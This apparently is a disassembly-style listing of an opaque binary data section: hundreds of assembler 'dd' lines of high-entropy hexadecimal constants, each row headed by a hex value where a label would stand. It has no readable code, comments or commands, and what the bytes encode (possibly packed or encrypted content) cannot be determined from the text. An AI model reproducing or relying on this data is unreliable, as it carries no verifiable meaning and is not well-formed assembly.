48038B3Fh dd 0B881B237h, 54304202h, 68430872h, 401D2C3Bh, 484ECF4Dh dd 3ADE5C16h, 59336146h, 0D2D5FB64h, 0F1F7A0B9h, 20116CA4h dd 697BF876h, 958907D2h, 681D4570h, 1F7196E5h, 11F2081Eh dd 465CF22Fh, 578722Ch dd 9876759Bh, 0FF103E27h, 0C9570F87h, 0D80C655h, 21C9C8E5h dd 58585823h, 72132047h, 5585858h, 5820C872h, 0C9139058h dd 3B5858C9h, 91927BD0h, 3B5C5C2Bh, 0CD138B86h, 0EB1D886Ah dd 5E4B0C08h, 85D30549h, 0F708B155h, 278FD131h, 902573D4h dd 38A70A74h, 0ECD66064h, 3B127AD5h, 30DDB64h, 0C35F7186h dd 5CBD7FEDh, 0D481549Dh, 682A917Ch, 5ACB6110h, 4FA94206h dd 0C03C1A2Ch, 0F1600F89h, 0CB44BAF5h, 0C0C1636h, 0D7013BEDh dd 0FDFB375Eh, 2F306C08h, 0BB1C1619h, 480166B3h, 400F0C08h dd 5B418910h, 4B246B4h, 0FC386936h, 39FDEC2h, 5DC28BECh dd 4480CDFh, 607D6373h, 2FEB6DD8h, 0C53B4644h, 9D195275h dd 0E65B1C8Dh, 4808560Dh, 0D92B6308h, 2CA04DF2h, 108D3334h dd 202F930Ah, 8E360C70h, 4618F648h, 0C08B674Dh, 0CE16E111h dd 2E118508h, 86F8740Ch, 0F846691Bh, 0A794F8F8h, 0D8C8CD23h dd 0ECEC1B8Eh, 0C3F4ECECh, 0C781B3Dh, 5544141Dh, 9C8D96F8h dd 0C10D59Ch, 43B02ACEh, 39D29A46h, 72392A0Ch, 0CC94B348h dd 0B60C100Ch, 0C4C9327h, 8D363E77h, 69D072F0h, 0B3F48FA9h dd 74E9047Ah, 0B50CA84Eh, 0A790F2A7h, 0FC4ED526h, 50F7153Fh dd 0C26848C1h, 35922B08h, 8D6D0C8Ch, 77B5534h, 0C643269h dd 2D167499h, 0BC38059Eh, 0B31C8CC3h, 615BAC03h, 0C1A9BAB4h dd 0AD4A1D53h, 420C7B3Ch, 2E64830Fh, 0B8784A58h, 997427D1h dd 0F8AC9052h, 793F758Ch, 0C9221559h, 2CCA9C59h, 3CF6DCE3h dd 104DD935h, 121717D6h, 320D496Fh, 16E90201h, 1BCBF17Bh dd 0C085C99Ch, 4D8941C1h, 0C54AFDE4h, 0DD4E8CBh, 0C507741Ch dd 0F98E592Bh, 74D8E440h, 72CF476Fh, 0D4D4F585h, 45856CCEh dd 1AD4C5D9h, 0CC65334h, 0D4C5B93Ah, 1B71F4A2h, 0A2F8B76h dd 3C333D74h, 0C975D8AFh, 0EB27669Eh, 82E13E16h, 0E31C018h dd 444D33ABh, 95991436h, 0CE9D1280h, 0E0B9CBF9h, 1080810Eh dd 2116D0DFh, 2D8107B8h, 3050D485h, 5F628C03h, 218B8743h dd 3A09D2Dh, 8501D7C9h, 26789BC4h, 3D05E1E8h, 0DF0C58C4h dd 40403621h, 0C8374318h, 22F15A10h, 6F4D9105h, 0A4145F83h dd 0D84B8F41h, 0E0FC8B1Ah, 52C0066Ch, 0A506F7C0h, 0CD9EFD9h dd 7322853Bh, 60D00D19h, 85D8BD23h, 0D26414DCh, 3D8326CCh dd 2C757EC5h, 0CF51BD81h, 6F8D3220h, 2B7EC5B2h, 60388C89h dd 9C3306D8h, 75C54F85h, 84CC3483h, 80D1D414h, 0B583B214h dd 96CE326h, 0DEEACF2Bh, 16C807D4h, 57853621h, 325DBCC1h dd 0BCBC7272h, 0CC4D5EBCh, 0C10DEC8Eh, 0BC049047h, 7C8363D9h dd 58D2923h, 0B9E08D8Ch, 6C276726h, 0C8C8EB58h, 0B3999248h dd 9287061Ah, 0CB19AF74h, 655AA70Eh, 72ABA2B3h, 1DD52E1Fh dd 1667E500h, 482C1929h, 952621C9h, 7230382Ch, 4864F90h dd 0C16C6B3h, 8B0D84D1h, 2468B7Eh, 1E681073h, 63E32670h dd 6A4B9417h, 488B48A2h, 4066134h, 8B740606h, 74D6D918h dd 273B2489h, 83253E72h, 32B3EA6h, 82F5203Eh, 9D00EFC2h dd 896A44A2h, 0CEC94083h, 9F9511ECh, 0F931B25Dh, 10187A41h dd 0C3E4FC63h, 0EFF87B19h, 0ECA8EC06h, 0F0EFD9EFh, 930C065Eh dd 0D167329h, 8605303Ch, 59F876A8h, 677D963Ah, 296723CFh dd 0CC0F78FCh, 7D191D0Eh, 0ED9328Ch, 0FC64E939h, 0E87689FCh dd 0E4E4647h, 0F8E8E8E8h, 279096EFh, 0EFFCE827h, 0F25C9223h dd 0EFF8765Bh, 0C9BD9AE8h, 0F85A32F6h, 81777606h, 0F06530BCh dd 3917F4EFh, 8D5EB9E9h, 0C3C3A1Dh, 4905F6FCh, 7B0A011Ah dd 198A171Ah, 7A6E0844h, 41448E41h, 1358F1BAh, 0C9E4018Ah dd 0ECCC02B9h, 54B58768h, 29C3D39h, 0F7A8862h, 5EF9DE8h dd 0D70035EAh, 4EF024BEh, 126BC73Dh, 0CD8D158Bh, 5500B8Ch dd 22C0B632h, 3A04A5DBh, 24048125h, 912CC369h, 0FA2D9C04h dd 0C3142A73h, 0EE17BA8Ah, 6C9B1C05h, 3F65428Bh, 0BCBC3C15h dd 0B026C4ECh, 810005EFh, 592C218Bh, 0CCA701C3h, 8C722844h dd 606803EAh, 0EF8C5B10h, 5B36CCD9h, 0BC4660Eh, 0CC7E96A8h dd 8A0EABC5h, 0CF02400h, 0C85F8D47h, 880BFD93h, 0C0F1301h dd 940C640h, 0B34436CEh, 48BF0911h, 7660B10h, 0CDB71B9h dd 1648E4F2h, 0C8ECC89Fh, 0F78F9BECh, 7B0C0622h, 2F8D0F79h dd 5FD4F636h, 88818406h, 0CC05EFA8h, 171B6706h, 4302081Fh dd 5867603Ah, 1A030CCEh, 6D4CD2FFh, 0BD06188Eh, 3D088633h dd 68D07DF3h, 0DEEC0088h, 76CA0A5Ah, 3D8717C5h, 317B731Dh dd 0DB207245h, 0DDB60011h, 74365B51h, 30A6E79h, 6D8551C8h dd 0FC858202h, 597A1A48h, 64032418h, 0E68F27h, 205C0A98h dd 0C0E4AB2Eh, 0A1B60E02h, 0B0907B2h, 0A5B94EBh, 0EC651A76h dd 184031BAh, 0B43D5919h, 0E20627B4h, 60190B7Dh, 102F6B40h dd 9E879461h, 0AE4A6228h, 7D4A3928h, 0F1956C6Bh, 4522EB08h dd 0B301643Ah, 1AC7F91h, 391917B0h, 0B0B0B039h, 36F03621h dd 201A73E0h, 0D0601003h, 8F678E0h, 0B08D71FCh, 8BCBEB61h dd 171CC043h, 38304098h, 241597Bh, 147591CFh, 4153B63h dd 0FA03C07Fh, 5C0F640h, 9547AA5Eh, 841AB9Eh, 566D7B17h dd 0BE733376h, 361DE430h, 0B0E0057Bh, 0A814660Ch, 5A0D1F12h dd 5779E437h, 93B0E80Ah, 48004CC5h, 0B0161675h, 0D085B23h dd 4456148Dh, 8EC8E20h, 224B1819h, 792B2C18h, 191799DFh dd 50764383h, 9805B8FEh, 0D583640Dh, 6747261Ch, 399D2C3Bh dd 406D7D36h, 53B9E22Fh, 0C4858227h, 47D88EC0h, 511C2EA5h dd 51AA10B7h, 8E2F1005h, 1C448C04h, 6F614FBAh, 54256D00h dd 2083180Bh, 44C60C8h, 1525A896h, 0B5A7052Fh, 0BEC725A3h dd 21510F1h, 4FB97400h, 98D48107h, 201AAD81h, 11B20323h dd 0AB1CB118h, 0B5333B7Ah, 1AB88146h, 6705A013h, 0E0E7DB7h dd 0E4CA808Bh, 0B40F7B9Bh, 0F82F1416h, 3FB18889h, 83E47607h dd 0F42C7E64h, 160064F4h, 0F420C9F5h, 0CE8A9068h, 0E00C39Dh dd 10E955E5h, 0F543A8h, 80F1E03h, 50701938h, 43C60856h dd 0EF1B62Ah, 341D13ADh, 426A4F55h, 8068E397h, 9C2E08CBh dd 0F025328Bh, 3C118E8Ah, 68EA0448h, 0B0998AE0h, 7C7080DDh dd 12CC682Eh, 26790970h, 9C74B4E4h, 0C11D9AD9h, 7CA9E378h dd 700822E3h, 19646591h, 78107419h, 0F3440279h, 9C05C607h dd 13CFC01h, 0D875CC47h, 1F0968A4h, 34276EF1h, 76151259h dd 65F4534Ah, 0B1C50EF4h, 0E465D502h, 0C8E0252Ah, 90530C80h dd 0A775CB07h, 0E4E17EE4h, 59F21121h, 61715CCDh, 1E466225h dd 0B67668E7h, 0E6E7CBDh, 8021C72Bh, 60D58EA7h, 0B073E4C1h dd 23E0A3ACh, 0B20217BEh, 300319F8h, 7D5814ECh, 18D9EE81h dd 85E3EB2h, 380708F4h, 2B7075A2h, 7E5321E6h, 0B0434B73h dd 5F06F0F0h, 685273F8h, 70250914h, 9B27D611h, 6E051DD9h dd 3867F076h, 599557Eh, 5D2E6B7Eh, 8996148Bh, 0C1FC2314h dd 1F90828Ch, 0D92C01F2h, 889F7118h, 6162036Fh, 88830FEFh dd 0C403E35h, 68F11708h, 2C368510h, 0D0F33C7Ch, 0BD2205FEh dd 46A8E072h, 61D8D535h, 0C86C30E0h, 0B5BEFBC2h, 0F703B1Ch dd 1A0BB045h, 6A8D82A4h, 0B2361CCCh, 29D8C4AEh, 46D9D678h dd 24958EF1h, 9E18041Bh, 0C84C9D44h, 0FED4C008h, 59F26804h dd 92FED540h, 0DEE7B0C7h, 6A498E1Ah, 96826A71h, 0DCDC9685h dd 0D8180058h, 0D4EA21F3h, 79357CFEh, 45423888h, 40D42454h dd 452F153Ch, 0E04859E8h dd 1E837616h, 77010535h, 4A142D19h, 0D410D918h, 0B81BFED3h dd 7D470E84h, 19489E8h, 24BE4606h, 0C763010h, 0E0A45124h dd 0D8C27FB7h, 0F017EBFFh, 0EFEB08EBh, 0EBEDEBh, 0A4B05FE9h dd 94491588h, 50F98408h, 8401B0FAh, 39004442h, 1A07FE58h dd 54799C20h, 0F0CF05FEh, 66282578h, 0D2378012h, 6B81B055h dd 5C5B8B1Ch, 2221641h, 3C8DFE04h, 0FEFE919Bh, 96FEFE54h dd 0C0B2DE20h, 22B6F4Dh, 9212724Bh, 9019FE54h, 0FF70AC23h dd 418E374h, 2C685653h, 18ACC3ACh, 78309CAFh, 0E65379C8h dd 82B72532h, 58D90708h, 0C1591CFEh, 2EBE3D21h, 65800Ch dd 21E4A678h, 444E19B0h, 637CA18Bh, 8F06C8C9h, 0CBD20ECh dd 4304314h, 0A33D56E8h, 0AF064B7Eh, 0A99810CBh, 62727C2Dh dd 81A5BA0Eh, 11766C80h, 0F61AE808h, 9D909782h, 0A4119AF8h dd 9410B98Dh, 3628987Ah, 65E467F9h, 0CE58C435h, 0CF96F010h dd 112485F4h, 0F198B34Fh, 1F030EFh, 7CAD8299h, 50181B1Bh dd 6C97D84h, 0ADD8C156h, 5173413Bh, 0FA7E01Dh, 387603C8h dd 2A740D0Dh, 0F21C741Fh, 16203C80h, 7F100E74h, 78224309h dd 2E00C67Fh, 0F890A0EBh, 64B19822h, 39A4A0B6h, 20F0E103h dd 0DC2F765Dh, 0FC88A4F2h, 24FC4540h, 430C28DAh, 1301061Ah dd 795ECB05h, 4B08A065h, 647D15C2h, 157D0863h, 98950D19h dd 0CB039404h, 0B239DEDAh, 80FD41B2h, 6592062Eh, 0C0C2192h dd 21927006h, 10101099h, 0C181980h, 24E0F24Ah, 87B85056h dd 1D5AC415h, 0B660254Bh, 74044B2Ch, 0A1278010h, 58808E7Ah dd 0C70C8BFDh, 141E1BBAh, 0EB80B84Fh, 9078216Bh, 14239E6h dd 0A4237049h, 27028E79h, 92362268h, 0F29D039Dh, 6A87C805h dd 9B283356h, 0EF60FDF0h, 4807BEF5h, 0D2054A0Eh, 3623C0D6h dd 4021603h, 2082B3Eh, 1266A3Fh, 0D8484201h, 729409ECh dd 81EC1F30h, 0F4F920DCh, 5E8194FDh, 0D979DCB7h, 93B5FF30h dd 3BFBE8E6h, 48202F54h, 8B0415FFh, 0F406D355h, 28BC2452h dd 58D7007Eh, 0C2840A0h, 49F90CCDh, 0C28106A6h, 0F53704E1h dd 7359CECh, 92E1F51h, 0B1157DFCh, 0EF922953h, 1618560Ch dd 19863EE8h, 0AB42E66Ah, 201CFD9h, 0B12F1675h, 3708B855h dd 1691E423h, 52BC003h, 74BB5562h, 1DB29B60h, 31CF4903h dd 0EC3A0BDEh, 57E082EDh, 4220705h, 75779A9Ch, 0C8BD98BEh dd 0C06FBE4h, 45BD7230h, 35CCEC4h, 6850CF10h, 9C021D54h dd 0DCF364CDh, 0FBF7B508h, 0B64DE28Ch, 6D3D03C0h, 5151F72h dd 0B2B2B64Bh, 7EC04379h, 6C3B9755h, 375C5932h, 0B6581DE9h dd 0DF935E27h, 0E28BD21h, 8400E4F4h, 31A89849h, 79315575h dd 501CDB2Bh, 418DE411h, 465C5476h, 0FC20DDD1h, 725CCCFEh dd 0FCFEFC40h, 0E0AB2134h, 7C240D2Dh, 0F4C80C51h, 0F8D0F8FDh dd 0F6BC751Ah, 2508A830h, 82CCF602h, 0E680E005h, 62C9F616h dd 3FCB01h, 0C3597D5Bh, 404DAC8Bh, 6EB68268h, 11B03409h dd 0E4999B9Fh, 20C93919h, 40FEE401h, 5C7204E8h, 6AFEE472h dd 0BD939E73h, 5985545Ch, 2F124431h, 0E0F34232h, 668F7B05h dd 2272C073h, 10E8F803h, 163330E6h, 0A40B48B6h, 60738891h dd 0C98A0251h, 4D657201h, 0A4524C24h, 8CF0B06h, 4422860Dh dd 3F687834h, 47B635BDh, 0F8D0D985h, 0E142D3Bh, 3D6157C2h dd 0FEF8925Eh, 48F25899h, 127BFEF8h, 1085B266h, 7A6E3C30h dd 0EB05780h, 0F7FC3F39h, 0C5367B0Eh, 40D0C10h, 1A8A08A9h dd 0B2D48C90h, 0E68824BAh, 0F4C6D110h, 486DC5h, 73123B02h dd 6078011Dh, 0D18E018h, 0E03AAE89h, 0D433F515h, 2A2CE44Dh dd 0F862F560h, 0AD93ECD3h, 0F45C00BFh, 0A9AF5D59h, 0C7B0ECBAh dd 0B289738h, 60C11300h, 6CDA9104h, 2760613Fh, 4488E4A3h dd 0E4A3E80Dh, 0D728356Fh, 0C92306E4h, 0A8E8468h, 9A53A814h dd 0CB114755h, 0C7860406h, 498749DCh, 4000E2Eh, 3D71C7DCh dd 9B871126h, 5A1600BCh, 11898C5h, 33D8A324h, 4822C6F7h dd 24D1661h, 0E1EDCA86h, 4F8E2868h, 71E027DCh, 137337BAh dd 15F2380Eh, 43B10971h, 73BABC4h, 0BDEA8408h, 4C017019h dd 40935562h, 0C9689E0Ch, 207F1549h, 73435D00h, 1D0060DCh dd 6E4F305Ah, 0C4B3D00h, 88BBE0D1h, 17A418Bh, 61FD904Bh dd 0E4929901h, 6C8541E4h, 34FFE452h, 0D60B14F2h, 24319528h dd 78A129B8h, 3F032C55h, 3651D846h, 0F788C63h, 23C8447Eh dd 4D5C3Ah, 657201C1h, 81A9A951h, 0DFBB01Ah, 5E044261h dd 53EC63C0h, 1D2424D2h, 1BE888E8h, 49202199h, 21D911B6h dd 142B2D94h, 0D861305Dh, 2A2E768Ch, 4093EED8h, 0FC68196Dh dd 8E8C7CEBh, 14AC99E0h, 4116B61Bh, 259207A8h, 7D0E02ECh dd 497F14F4h, 66E547Ah, 0E2598C5Dh, 1F18C84Ch, 51EC9898h dd 0C81583E5h, 33322481h, 28EEC502h, 0CCDCEFABh, 0C27C8847h dd 39477254h, 0F8832C61h, 0FDF4B960h, 2B55A010h, 0F1858FEEh dd 6F8645Eh, 2532B50Ch, 4C43D65Ch, 0B0FC90FCh, 3A06F195h dd 8762144Ah, 99319654h, 85CECAADh, 0B5AE29F1h, 8D85863h dd 23788C1Bh, 0D92D95B0h, 518300AEh, 0D9848C6h, 8323C798h dd 74E4F000h, 798EA01Fh, 6059E359h, 5CF99108h, 96C83050h dd 4976E32Dh, 8E41517Bh, 0F0478400h, 41900E16h, 38B4BD82h dd 2E51158Bh, 2CDE17C4h, 0B3E434FAh, 4083BB9h, 0FA2CFA30h dd 127288B0h, 6A14065Eh, 66746B10h, 6E291145h, 39D22009h dd 8F310B86h, 0F0449C6Bh, 7D4E914h, 1C210B48h, 661C33Ch dd 34EE1E4Eh, 20426471h, 9B422B6Ah, 90664070h, 0C9A7ECFAh dd 0A71DBBADh, 0BE5452Ah, 0F9208F59h, 2ECA02F8h, 4F334F3h dd 591D9C0Ch, 0EBE9280Ah, 0F4EC0B0Ah, 0EF0F7B06h, 509C09B5h dd 0D9A4043Dh, 8EB8EB00h, 0C1CCD252h, 0C5448413h, 0A1096DF2h dd 0CBC65D8Dh, 0F00A195Bh, 0D64564B0h, 3959890Dh, 982A86Bh dd 322924D4h, 90194880h, 932332B3h, 34251FCDh, 24503B1Ch dd 8D1CC20Bh, 45AF6Dh, 31A918DAh, 854B3928h, 0F25A3096h dd 34F1F0D9h, 0FE585877h, 0E9201000h, 47C15764h, 20E91C85h dd 0C76BE91Ch, 0F308DE22h, 0D282B66h, 0D9360228h, 24612035h dd 0B4BEC967h, 55671372h, 72032321h, 20181820h, 18CE219Bh dd 8186427h, 2C724740h, 6CB4D0Dh, 65922EC2h, 0EB910A51h dd 160E2810h, 84B8CC8Ah, 0BDEA2C1Ch, 17FE4055h, 443901A3h dd 5693CFEh, 809F207Bh, 67FE40A7h, 9F3C2FD5h, 4055D45Fh dd 0FE8EF8FEh, 94E4BCD9h, 0FE38FE3Ch, 0ECD4FE40h, 0FE382720h dd 0D80DBB67h, 5558C025h, 8C34CABDh, 0CE819E20h, 48241434h dd 52CED8A7h, 38344C9Bh, 2F119ADBh, 149508D9h, 0B0390C66h dd 174A2DB3h, 0B364C20Ah, 1CB69447h, 47E01E1Ah, 11B55DFCh dd 97732D68h, 9B07584h, 184AA7B3h, 898B3715h, 2231F64Ah dd 0C5F7EEC7h, 35C3A848h, 34CA6597h, 4826DF42h, 14B816BBh dd 311D5306h, 840D1261h, 541C1206h, 796A1EC0h, 0D5DFF493h dd 0E438A588h, 0B29E105Ah, 80D5EB5h, 277529F0h, 86292F0h dd 85A30A35h, 6C25A859h, 0FC50E9F4h, 5920838Fh, 64D23854h dd 0ABC13751h, 22764D68h, 28CB1487h, 942CDEC2h, 7660AFBh dd 6A1648A2h, 0A180F66Ah, 0D0B7520h, 0CD11EB5Ch, 0D4F82688h dd 6C14D6A2h, 3B34E165h, 11260C1Ah, 4D024B7Dh, 0F5C13B0Ch dd 0A6995862h, 152FD2E0h, 222BC54Bh, 0D61B18C9h, 774F3081h dd 0C635134Ah, 0BA140190h dd 2325156Ah, 0FAD8333Ah, 0F0F8241Dh, 71838F4Ch, 104D3B38h dd 21A2A6AAh, 87B144Ch, 131525EDh, 3BF85F37h, 5637705Bh dd 0FC8D0FC0h, 7C832BF8h, 92D65B81h, 4950A235h, 6C1F4873h dd 556DD83Bh, 288A044Bh, 1627813Ch, 0AE54340Bh, 81048BFDh dd 1461E12Bh, 0D66DFEF4h, 4EF4A645h, 89F45575h, 42EB8114h dd 0E6D9B394h, 0C4F821C1h, 0A6428D33h, 1D2A092Ch, 3EE0814h dd 9B48F8F4h, 2D289669h, 0F8EBBD5Bh, 8B575653h, 10737D36h dd 1F74C985h, 0BEE1BF9h, 107401FFh, 788068Ah, 460B6C84h dd 2D0F4947h, 0AB3084C6h, 5F0007F8h, 9AEA5B5Eh, 7080F603h dd 7C30DC22h, 37390D10h, 7F8A362Ah, 0B0093230h, 6364B001h dd 102BA108h, 8D8CD11Ah, 0F455F4F0h, 7633E3F4h, 390B805Bh dd 45627F08h, 0B440B6F4h, 9059E39h, 0B2122C36h, 77428811h dd 0ECE1516h, 75E939B4h, 0F48AA821h, 20101B31h, 2912087Eh dd 0E052C82Ch, 6C06D88Ch, 742C608Bh, 0DD26Eh, 8981993Dh dd 4D750A0Dh, 85E1D323h, 7C03FC6Ch, 3C931A35h, 122C5F64h dd 0F750A11h, 937B7080h, 390124DAh, 0EB44110Bh, 14EF8AB9h dd 656BA1DBh, 8D37996h, 361ACC08h, 2164089Eh, 7A4FF210h dd 0B15D9A7h, 0CE47A24Ah, 875E905Dh, 1A0C3304h, 0F5F2C64Ch dd 391136A5h, 40CDE374h, 0F4CE30EFh, 7599086Fh, 0C0FEC909h dd 888098Ah, 6B3D12D4h, 598D08C0h, 122F1235h, 0DCE90E99h dd 853628ACh, 0F1F8482Fh, 69C1BC44h, 0D1902A06h, 5FA0C09Eh dd 443E6CFDh, 20537D04h, 0B8E587C9h, 15752E23h, 9E6D92EBh dd 32EB0CCEh, 21118A22h, 187934Eh, 4314A60Ch, 0CF093A4Fh dd 0E3A0EBBFh, 68CF2E6Ah, 60E84FE2h, 7E03D045h, 0CD066ECCh dd 114CC6C6h, 10051444h, 10EEE650h, 62FD789Ah, 42740105h dd 0E686ACDDh, 3227402h, 54376D3Bh, 2195186Ch, 2D08D09Eh dd 90064622h, 3B1019B1h, 19190014h, 0A182140h, 762301Ah dd 41D0518Ah, 72D8C1AFh, 1801E4E6h, 0AD51741h, 0D6143A24h dd 832973B6h, 6FE6DE38h, 0D5B33937h, 74731F61h, 3D690A0Fh dd 5B223395h, 860E4832h, 3D55869h, 0B33674C1h, 0C2B13130h dd 403E608Dh, 66C1488h, 0B6B592Fh, 200C6208h, 2CD87618h dd 0ED0F3F68h, 2C6C90B8h, 0BB7629ECh, 0CCB5068h, 1B621D97h dd 10E2F0Dh, 0F5759B39h, 0C452C42h, 0B08D85ACh, 0E6425E26h dd 0D3C524DDh, 0BC174410h, 0B306C403h, 0BFEF0383h, 693B3E6Dh dd 519ED9Ah, 0EC256470h, 266BFCF4h, 0CC0A690h, 6503D4CCh dd 0DCA6AAB3h, 4127EFE4h, 0C16A6B01h, 545C0EECh, 6FB47EA1h dd 0F20D94CAh, 44CDE201h, 86E496Eh, 0A8D6360Bh, 5ED01D78h dd 0A5048B88h, 0D31DF8ECh, 29B17BA2h, 0E01DBC3Bh, 9E6BC92h dd 1DD96CD5h, 0D0671274h, 6826BF08h, 0C8107D54h, 1937B218h dd 5B20E105h, 2761B49h, 712CE8E1h, 0E1A7BD36h, 60C2463h dd 88037FB7h, 0E8A0A609h, 9BEC7B52h, 16F4C374h, 16E43BE4h dd 64DF603h, 16E056E0h, 0FB0D91FCh, 16FC7126h, 64AE85A6h dd 0C08D1B0h, 457BC00Bh, 70E0893h, 3090319Ah, 0BC4EBFD4h dd 207148B3h, 9190FF5h, 1F27583Bh, 0AC09F87Fh, 7D22DDEBh dd 0D60D6354h, 0E4F478B8h, 3C87277Bh, 3C093FF4h, 0F5E0CFFCh dd 52F4F540h, 9620EBE7h, 4B60B26Ch, 1F3F0D49h, 36333654h dd 5CF4AEB7h, 890F122Bh, 9235BF6h, 94310FB7h, 1860D8ADh dd 0A7275B0h, 0CB63284h, 0E45589E0h, 0B02B1520h, 1BCAAEC0h dd 0E486A074h, 85B05C52h, 8C5C3AF8h, 0FC0A0A29h, 0D423C017h dd 0BA77B034h, 12370572h, 424076DDh, 21AF0A0Fh, 25F83E64h dd 0CB2D1C0Ah, 42ECE80Ch, 607B65C0h, 0EC30254Bh, 495C7213h dd 76D8C177h, 4B180B73h, 95C8C947h, 3237428Ch, 5C8C95C8h dd 41E2126h, 19C81C8Fh, 8730A10h, 33C230D1h, 0E825157Ah dd 19CD1B6Ch, 2C5A06B6h, 0EDB3913h, 461816AAh, 301FFE19h dd 9EA070Bh, 34205F07h, 88C43AAEh, 8CA572DCh, 370A09EDh dd 91201356h, 59D9346h, 3A271135h, 18600108h, 4A18C421h dd 505A80C4h, 1508A4FEh, 34330593h, 4508CA7Ch, 0C487CC17h dd 8891C06Fh, 1D00052Bh, 0C814E8C1h, 0AF415AE6h, 0B7D81332h dd 0C84D1063h, 1EA082E0h, 1BCFF8ECh, 0A4053BD0h, 18015180h dd 0B29DDC8Eh, 0C28B14F9h, 0E101Fh, 0D0AFFADCh, 6A0A4837h dd 1F4895h, 0E51C991Dh, 8930C215h, 0F9A0A4DAh, 82C3101Dh dd 0F8A29E77h, 0E81A18CBh, 64CDD336h, 0E02E7813h, 0FCD79464h dd 24863E08h, 8DFAE446h, 472EFC16h, 743023BEh, 99270FBh dd 0F155F8F0h, 8368B358h, 34750428h, 0B35B3236h, 82BFA4Ah dd 1C0A81F0h, 2ECEC5F2h, 2122464h, 0B61C9A60h, 0B2758BCBh dd 0CDB2153Ch, 209022F7h, 1D76EB5Ch, 190E7939h, 558585Ah dd 0E439E48h, 393A5000h, 16439E4h, 0C4131C4Ch, 98364D80h dd 4217AB44h, 0E756E46Ch, 98DFAF4h, 0E22B19C7h, 5733F0C9h dd 9AC4BCFCh, 50406FB3h, 8B3C0B0Ah, 55CD9C09h, 0A5806177h dd 0F706A684h, 2FDDDF82h, 89A20F51h, 890A789Dh, 8D057C95h dd 638A0F80h, 8511CDAFh, 0F4B58714h, 0F8F4CAE0h, 3568A86Ah dd 90E81102h, 920CD50Dh, 5B9C008h, 285CB660h, 0F8C0A2C4h dd 733DEF5h, 64CF8C0h, 4F78011Eh, 10F81C1Dh, 0C1A44EB5h dd 0F005A816h, 5028016Fh, 0AF17C7B3h, 2322D628h, 0BCE1720Eh dd 0B8F91C2Dh, 0F20CA4F8h, 0F40B25FBh, 0FADC1E91h, 0C93906B4h dd 0F918B480h, 641182B0h, 7B83B040h, 19290DEDh, 0B700555h dd 6473C8BDh, 0B0FADCB4h, 64520E4Ah, 1020CB73h, 77177242h dd 38E0ED91h, 13EC2C2Eh, 0D0B56077h, 0E4B1910Fh, 68C8F038h dd 25D89104h, 0A816CFh, 5B0E54F8h, 0AA200614h, 2C0C385Ah dd 34F99039h, 4838A1A6h, 6228040Ah, 29C11839h, 0ADFE9274h dd 0B84B2583h, 42F2C23h, 66FB80D8h, 10F0D8D5h, 72025760h dd 245632h, 90D48ED8h, 790FF02h, 42B196B8h, 384C2B0Fh dd 0A2503D2Bh, 730EFC86h, 2CCEF0Dh, 0D4365D78h, 0C771515h dd 60B3157Eh, 4785A8Fh, 7901EC4h, 0D6C68ECh, 0F48468F8h dd 1E49068h, 68F04079h, 0B068ECA0h, 60116CBh, 0F4020EE8h dd 0B5D301F0h, 88E8EC2Ch, 64744E06h, 4380754h, 0BEEDF8D0h dd 0C4854B72h, 0EEAC143h, 0F686E8D1h, 5016CAC8h, 72B00F03h dd 57D4928Ah, 0DE145093h, 3DD99E83h, 46C605FCh, 2CB0EC3h dd 720D54EEh, 570EC064h, 0FCF8C829h, 7924566h, 4E6FCF8h dd 791D9613h, 0EC17C50h, 0FCCD2CF2h, 222B79FCh, 60A0A473h dd 2001242h, 640F25BCh, 0FDF8FDF8h, 6495050Dh, 0FCF00457h dd 98CC05EDh, 11AE011Fh, 9D1166CBh, 195476F4h, 377A02C2h dd 8C8D2BFAh, 0DDFF1AB5h, 73D2B48h, 41F451AFh, 874FC973h dd 0E0AE60DDh, 0FE5820Fh, 0AF0E1B20h, 8B65D4B0h, 2E8D8189h dd 0F9F7F319h, 0A5D4596Ch, 0CADDFD8h, 26D09DD9h, 5A32DD23h dd 0C1CCC823h, 0CF15082h, 0EC0299Fh, 0C35C8941h, 0AA066129h dd 118BEC77h, 0D56719EBh, 0CD238071h, 7AF4FBE0h, 7202336h dd 7CB31364h, 84F5A00Ah, 0B20A3C34h, 2C55ECFAh, 0C7DCD458h dd 0BE60401Dh, 36F1041Eh, 932393C9h, 0F7DCEC39h, 5862F7DCh dd 327F6B94h, 6CB9F213h, 481483ADh, 0D0F748F7h, 6562426Ch dd 1FE0AD14h, 89125AA3h, 5B3596ADh, 8068FBF2h, 0F750CB93h dd 0ACF00412h, 3D116078h, 166C164Ch, 4F4E71F0h, 83B6062Dh dd 0AFE8CED7h, 8B2F901Dh dd 0A47B0B10h, 6812342Ah, 0B07C4478h, 10EBD6B0h, 0E5C8119Fh dd 9E4BC86Fh, 0F59CF59Ch, 0A1D9C09h, 27BF9D4Ch, 0C92F6C98h dd 0CC099880h, 0EA87554Ch, 9E8319CBh, 5CEB9518h, 7270057Bh dd 6724E49Dh, 150AEECDh, 0E01F468h, 60B99F5Fh, 0BD04F840h dd 725E431Bh, 0F594680Ch, 649F594h, 1EE0B0E4h, 64C9090h dd 8CD090E4h, 0D518B68Ch, 2047E733h, 45EB900Bh, 8CE04646h dd 0C8D18C3Ch, 84E786E7h, 84F588F5h, 43C82D91h, 0D8327447h dd 0CEF03070h, 0A5FCF7E4h, 3102C15Dh, 5A6B9D92h, 92EF0692h dd 0F7EC8893h, 8A880E48h, 0A45E4247h, 844EF6F5h, 858A12C1h dd 4F709388h, 8B3043C9h, 1E98A124h, 0B548601h, 5D847EDAh dd 4186C416h, 65DFFCCh, 5DCDCDCh, 5577401h, 74021E74h dd 0BEABB818h, 89E83049h, 405C830h, 0A4851280h, 5F740C5h dd 7B10E324h, 0ABE514E0h, 0DCA7A758h, 2C02A07Bh, 1D11DC3Fh dd 77E03E8Ah, 1047B40h, 83490488h, 850F5AF8h, 0E9072A7Bh dd 0FDF44729h, 0C8B05DCh, 117F9035h, 0FB51B9E2h, 0BE59052Bh dd 0A481943Ch, 0E157FBFCh, 0A4A5BAA0h, 91FB52B9h, 1164D8ADh dd 0DCA9E7FCh, 995534E1h, 97FA06E8h, 0D1EE7081h, 0D46606C0h dd 0C26A3C6h, 0B33FEA04h, 5BC01B2h, 0C50C8B28h, 1964946h dd 46091C7Eh, 8E1B76CEh, 4FEB8130h, 0E4280311h, 3D793919h dd 912B2004h, 5E46793h, 3B061918h, 109EE998h, 2A080807h dd 93692D74h, 74076CEDh, 6D49F24h, 66139DE0h, 88B4F493h dd 4A46CE13h, 0A68B2798h, 9BD1D1FBh, 26911BF0h, 42C0D884h dd 15694197h, 801B942Eh, 0FBC81F24h, 0B0FBF004h, 303BF3AEh dd 3405850Bh, 